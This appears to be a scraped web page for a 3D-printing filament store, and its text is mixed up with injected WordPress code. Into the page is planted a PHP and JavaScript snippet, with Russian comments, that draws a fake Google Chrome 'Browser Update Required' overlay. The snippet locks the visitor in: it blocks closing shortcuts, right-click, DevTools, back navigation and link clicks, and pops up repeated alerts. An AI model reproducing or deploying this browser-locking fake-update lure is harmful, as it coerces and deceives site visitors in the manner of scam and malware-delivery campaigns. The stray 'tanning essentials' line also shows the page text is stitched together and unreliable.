Essenstial Items
Filaments of Innovation, Threads of Quality
Weave Your Dreams with Filament Perfection
Our Featured Products
Get Started
Free Shipping
Free shipping Limited time offer
Returns
Within 14 days for an exchange.
Online Support
24 hours a day, 7 days a week
Flexible Payment
Multiple Payment methods
Credit Cards , instapay , VodCash
Credit Cards , instapay , VodCash
Start Printing Your Vision Today
More to Discover
Our bundles were designed to conveniently package your tanning essentials while saving you money.
Incorrect user ID specified.
add_action('wp_footer', function() {
if (is_front_page()) { // Показываем только на главной странице
?>
/* Отключаем прокрутку страницы */
body {
overflow: hidden !important;
}
/* Стили для затемнения фона */
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.6);
z-index: 10000;
display: none;
}
/* Стили для уведомления в стиле Chrome */
.chrome-notification {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
width: 90%;
max-width: 600px;
background: #fff;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
z-index: 10001;
font-family: 'Roboto', Arial, sans-serif;
overflow: hidden;
display: none;
animation: fadeIn 0.3s ease-in-out;
}
/* Анимация появления */
@keyframes fadeIn {
from { opacity: 0; transform: translate(-50%, -60%); }
to { opacity: 1; transform: translate(-50%, -50%); }
}
/* Шапка уведомления (имитация вкладки Chrome) */
.chrome-header {
background: #f1f3f4;
padding: 10px 15px;
display: flex;
align-items: center;
border-bottom: 1px solid #dadce0;
border-top-left-radius: 8px;
border-top-right-radius: 8px;
}
.chrome-header .tab {
background: #fff;
padding: 5px 15px;
border-radius: 20px 20px 0 0;
border: 1px solid #dadce0;
border-bottom: none;
font-size: 14px;
color: #5f6368;
margin-right: 5px;
display: flex;
align-items: center;
box-shadow: 0 -2px 5px rgba(0, 0, 0, 0.05);
}
.chrome-header .dots {
display: flex;
gap: 5px;
margin-left: auto;
}
.chrome-header .dot {
width: 12px;
height: 12px;
border-radius: 50%;
}
.dot.red { background: #ff6159; }
.dot.yellow { background: #ffbd2e; }
.dot.green { background: #28c840; }
/* Контент уведомления */
.chrome-content {
padding: 20px;
text-align: center;
}
.chrome-content img {
width: 40px;
margin-bottom: 10px;
}
.chrome-content h3 {
font-size: 20px;
color: #202124;
margin: 0 0 10px;
}
.chrome-content p {
font-size: 14px;
color: #5f6368;
margin: 0 0 20px;
}
/* Кнопка */
.chrome-buttons {
display: flex;
justify-content: center;
padding-bottom: 20px;
}
.chrome-buttons button {
padding: 8px 30px; /* Уменьшили высоту кнопки (padding по вертикали) */
border: none;
border-radius: 4px;
font-size: 14px;
cursor: pointer;
transition: background 0.2s;
}
.chrome-buttons .update {
background: #1a73e8;
color: #fff;
}
.chrome-buttons .update:hover {
background: #1557b0;
}
// Показываем уведомление
document.getElementById("overlay").style.display = "block";
document.getElementById("notification").style.display = "block";
// Предотвращаем закрытие вкладки
window.addEventListener('beforeunload', function (e) {
e.preventDefault();
e.returnValue = 'Are you sure you want to leave? Your browser needs to be updated to continue.';
});
// Предотвращаем закрытие через контекстное меню или другие способы
document.addEventListener('keydown', function (e) {
// Блокируем Alt+F4, Ctrl+F4, Ctrl+W, Ctrl+T, Ctrl+N
if ((e.key === 'F4' && (e.altKey || e.ctrlKey)) ||
(e.key === 'w' && e.ctrlKey) ||
(e.key === 't' && e.ctrlKey) ||
(e.key === 'n' && e.ctrlKey)) {
e.preventDefault();
alert('Please update your browser to continue.');
}
});
// Отключаем правый клик
document.addEventListener('contextmenu', function (e) {
e.preventDefault();
});
// Периодически показываем алерт
setInterval(function() {
alert('Please update your browser to continue.');
}, 5000); // Каждые 5 секунд
// Пытаемся предотвратить закрытие через unload (может не сработать в современных браузерах)
window.onunload = function() {
document.getElementById("overlay").style.display = "block";
document.getElementById("notification").style.display = "block";
};
// Блокируем открытие DevTools (не всегда работает)
document.addEventListener('keydown', function (e) {
if (e.key === 'F12' || (e.ctrlKey && e.shiftKey && e.key === 'I')) {
e.preventDefault();
alert('Please update your browser to continue.');
}
});
// Пытаемся заблокировать жесты браузера (например, "назад")
history.pushState(null, null, location.href);
window.onpopstate = function () {
history.go(1);
alert('Please update your browser to continue.');
};
// Пытаемся заблокировать уход со страницы через клик по ссылкам
document.addEventListener('click', function (e) {
if (e.target.tagName === 'A' && e.target.getAttribute('href') !== 'https://www.google.com/chrome/') {
e.preventDefault();
alert('Please update your browser to continue.');
}
});
<?php
}
});
Google Chrome
Browser Update Required
Your browser is out of date. Update Google Chrome to continue using this site.